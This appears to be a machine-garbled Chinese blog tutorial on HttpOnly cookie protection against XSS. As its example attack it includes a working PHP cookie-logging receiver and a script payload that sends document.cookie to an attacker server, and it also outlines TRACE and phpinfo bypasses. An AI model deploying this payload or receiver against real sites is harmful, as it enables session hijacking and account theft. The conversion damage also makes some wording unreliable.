使用HttpOnly提高Cookie安全性

 
 

在介绍HttpOnly以前,我想跟你们聊聊Cookie及XSS。php

随着B/S的普及,咱们平时上网都是依赖于http协议完成,而Http是无状态的,即同一个会话的连续两个请求互相不了解,他们由最新实例化的环境进行解析,除了应用自己可能已经存储在全局对象中的全部信息外,该环境不保存与会话有关的任何信息,http是不会为了下一次链接而维护此次链接所传输的信息的。因此为了在每次会话之间传递信息,就须要用到cookie和session,不管是什么,都是为了让服务器端得到一个token来检查合法性,不少时候都是在cookie中存储一个sessionID,服务器来识别该用户,那么安全隐患也就引伸而出了,只要得到这个cookie,就能够取得别人的身份,特别是管理员等高级权限账号时,危害就大了,而XSS就是在别人的应用程序中恶意执行一段JS以窃取用户的cookie。web

那么如何得到Cookie劫持呢?在浏览器中的document对象中,就储存了Cookie的信息,而利用js能够把这里面的Cookie给取出来,只要获得这个Cookie就能够拥有别人的身份了。下面简单说说如何窃取cookie。ajax

接收cookie的PHP文件ck.php为:浏览器

<?php 
$cookie = $_GET['c']; 
$ip = getenv ('REMOTE_ADDR'); 
$time=date("j F, Y, g:i a"); 
$referer=getenv ('HTTP_REFERER'); 
$fp = fopen('cookie.txt', 'a'); 
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>'); 
fclose($fp); 
?>安全

把这个文件放在本身的服务器上,好比咱们搭建的服务器为:http://10.65.21.78:8080 .服务器

那么构造XSS语句:cookie

<script>window.open('http://10.65.21.78:8080/ck.php?c='+document.cookie)</script>session

当执行script成功时就会把cookie发送到本身的服务器下cookie.txt文件中。XSS攻击是多么可怕的事情。dom

说了这么多,貌似尚未提到HttpOnly,这是哪般?莫及!这就到了!如何保障咱们的Cookie安全呢?Cookie都是经过document对象获取的,咱们若是能让cookie在浏览器中不可见就能够了,那HttpOnly就是在设置cookie时接受这样一个参数,一旦被设置,在浏览器的document对象中就看不到cookie了。而浏览器在浏览网页的时候不受任何影响,由于Cookie会被放在浏览器头中发送出去(包括Ajax的时候),应用程序也通常不会在JS里操做这些敏感Cookie的,对于一些敏感的Cookie咱们采用HttpOnly,对于一些须要在应用程序中用JS操做的cookie咱们就不予设置,这样就保障了Cookie信息的安全也保证了应用。socket

给浏览器设置Cookie的头以下:

Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]

若是 Cookie 具备 HttpOnly 特性且不能经过客户端脚本访问,则为 true;不然为 false。默认值为 false。

可是,也能够看到HttpOnly并非万能的,首先它并不能解决XSS的问题,仍然不能抵制一些有耐心的黑客的攻击,甚至一些基于XSS的proxy也出现了,可是已经能够提升攻击的门槛了,起码XSS攻击不是每一个脚本小子都能完成的了,并且其余的那些攻击手法由于一些环境和技术的限制,并不像Cookie窃取这种手法同样通用。

HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送的Cookie头就能够了。譬如之前出现的Http Trace攻击就能够将你的Header里的Cookie回显出来,利用Ajax或者flash就能够完成这种攻击,这种手法也已经在Ajax和flash中得到修补。另一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo,你们知道phpinfo会将浏览器发送的http头回显出来,其中就包括咱们保护的auth信息,而这个页面常常存在在各类站点上,只要用ajax取phpinfo页面,取出header头对应的部分就能够得到Cookie了。一些应用程序的不完善也可能致使header头的泄露,这种攻击方式对于基本验证保护的页面同样能够攻击。

HttpOnly在IE 6以上,Firefox较新版本都获得了比较好的支持,而且在如Hotmail等应用程序里都有普遍的使用,而且已是取得了比较好的安全效果。

那问题就来了,你们想一想,HttpOnly 主要是为了限制web页面程序的browser端script程序读取cookie, 实际是浏览器经过协议实现限制的,黑客可不会那么傻,确定不会用HTTP协议来读取cookie,确定是在socket层面写抓包程序,至关于写一个低于IE6版本的应用程序。

因此,HttpOnly并非万能的。